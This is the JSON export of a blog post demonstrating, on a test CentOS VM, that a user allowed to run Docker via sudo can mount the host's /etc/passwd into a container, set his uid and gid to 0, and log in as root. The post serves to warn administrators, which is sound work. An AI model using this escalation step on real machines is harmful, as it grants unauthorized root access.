{"id":2945,"date":"2018-12-31T14:17:26","date_gmt":"2018-12-31T19:17:26","guid":{"rendered":"http:\/\/osric.com\/chris\/accidental-developer\/?p=2945"},"modified":"2019-01-07T16:27:38","modified_gmt":"2019-01-07T21:27:38","slug":"using-docker-to-get-root-access","status":"publish","type":"post","link":"https:\/\/osric.com\/chris\/accidental-developer\/2018\/12\/using-docker-to-get-root-access\/","title":{"rendered":"Using Docker to get root access"},"content":{"rendered":"<p>In my previous post I mentioned that I am learning about <a href=\"https:\/\/github.com\/containers\/libpod\">Podman<\/a>, a tool for running containers that does not require a daemon process (like the Docker daemon) or root privileges.<\/p>\n<p>In this post I would like to demonstrate why running containers with root privileges could be dangerous.<br \/>\n<!--more--><\/p>\n<p><strong>Setup<\/strong><\/p>\n<p>For my demonstration, I have a CentOS 7 host running on VirtualBox. I have installed Docker and started the Docker daemon via the following steps:<\/p>\n<pre><code>sudo yum-config-manager --add-repo https:\/\/download.docker.com\/linux\/centos\/docker-ce.repo\r\nsudo yum install docker-ce\r\nsudo systemctl start docker<\/code><\/pre>\n<p>Next, I will create a new user, Bob Billiards:<\/p>\n<pre><code>sudo useradd -u 8888 -c \"Bob Billiards\" bbilliar<\/code><\/pre>\n<p>I will let Bob run the docker command via sudo:<\/p>\n<pre><code>sudo visudo -f \/etc\/sudoers.d\/docker<\/code><\/pre>\n<pre><code>bbilliar     ALL=\/usr\/bin\/docker<\/code><\/pre>\n<p><strong>Test 1 &#8211; Confirm user is able to run Docker via sudo<\/strong><\/p>\n<pre><code>[bbilliar@centos7 ~]$ sudo docker run --rm -it alpine sh\r\n\/ #<\/code><\/pre>\n<p>Bob is able to run Docker via sudo, as expected.<\/p>\n<p><strong>Test 2 &#8211; Publish a privileged port<\/strong><\/p>\n<p>This time, Bob is going to publish port 80, a privileged port. This may be unexpected, but Docker runs with root privileges:<\/p>\n<pre><code>[bbilliar@centos7 ~]$ sudo docker run --rm -it -p 80:80 alpine sh\r\n\/ #<\/code><\/pre>\n<p>To test that it is really bound to port 80, I started netcat listening on port 80 in the container:<\/p>\n<pre><code>\/ # nc -l -p 80<\/code><\/pre>\n<p>Then I ran curl from the host:<\/p>\n<pre><code>[bbilliar@centos7 ~]$ curl localhost<\/code><\/pre>\n<p>The request headers appeared in the container, as expected:<\/p>\n<pre><code>GET \/ HTTP\/1.1\r\nUser-Agent: curl\/7.29.0\r\nHost: localhost\r\nAccept: *\/*<\/code><\/pre>\n<p><strong>Test 3 &#8211; Share a volume and gain root access<\/strong><\/p>\n<p>This time, Bob is going to share volumes between the host and the container, specifically he is going to mount the host&#8217;s <code>\/etc\/passwd<\/code> file as <code>\/etc\/passwd<\/code> inside the container:<\/p>\n<pre><code>[bbilliar@centos7 ~]$ sudo docker run --rm -it --volume \/etc\/passwd:\/etc\/passwd alpine sh\r\n\/ # <\/code><\/pre>\n<p>From here, edit <code>\/etc\/passwd<\/code> and change user <code>bbilliar<\/code>&#8216;s <code>uid<\/code> and <code>gid<\/code> to 0.<\/p>\n<p>Exit the container.<\/p>\n<p>View user bbilliar&#8217;s \/etc\/passwd entry on the host:<\/p>\n<pre><code>[bbilliar@centos7 ~]$ grep bbilliar \/etc\/passwd\r\nbbilliar:x:0:0::\/home\/bbilliar:\/bin\/bash<\/code><\/pre>\n<p>Logout, and log back in as <code>bbilliar<\/code>:<\/p>\n<pre><code>Using username \"bbilliar\".\r\nbbillar@127.0.0.1's password:\r\nLast login: Mon Dec 31 13:38:57 2018 from 10.0.2.2\r\n[root@centos7 ~]#<\/code><\/pre>\n<p>Bob is now root! This may not be what the administrator expected when giving Bob sudo privileges to run Docker.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Docker daemon runs with root privileges, and that can have unintended consequences if you let non-privileged users run docker via sudo. I provide an example of sharing the \/etc\/passwd file from the host to the container in order to elevate a non-privileged user&#8217;s status to root.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[451],"tags":[449,356,345],"class_list":["post-2945","post","type-post","status-publish","format-standard","hentry","category-docker","tag-docker","tag-security","tag-sudoers"],"_links":{"self":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts\/2945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/comments?post=2945"}],"version-history":[{"count":4,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts\/2945\/revisions"}],"predecessor-version":[{"id":2962,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/posts\/2945\/revisions\/2962"}],"wp:attachment":[{"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/media?parent=2945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/categories?post=2945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/osric.com\/chris\/accidental-developer\/wp-json\/wp\/v2\/tags?post=2945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}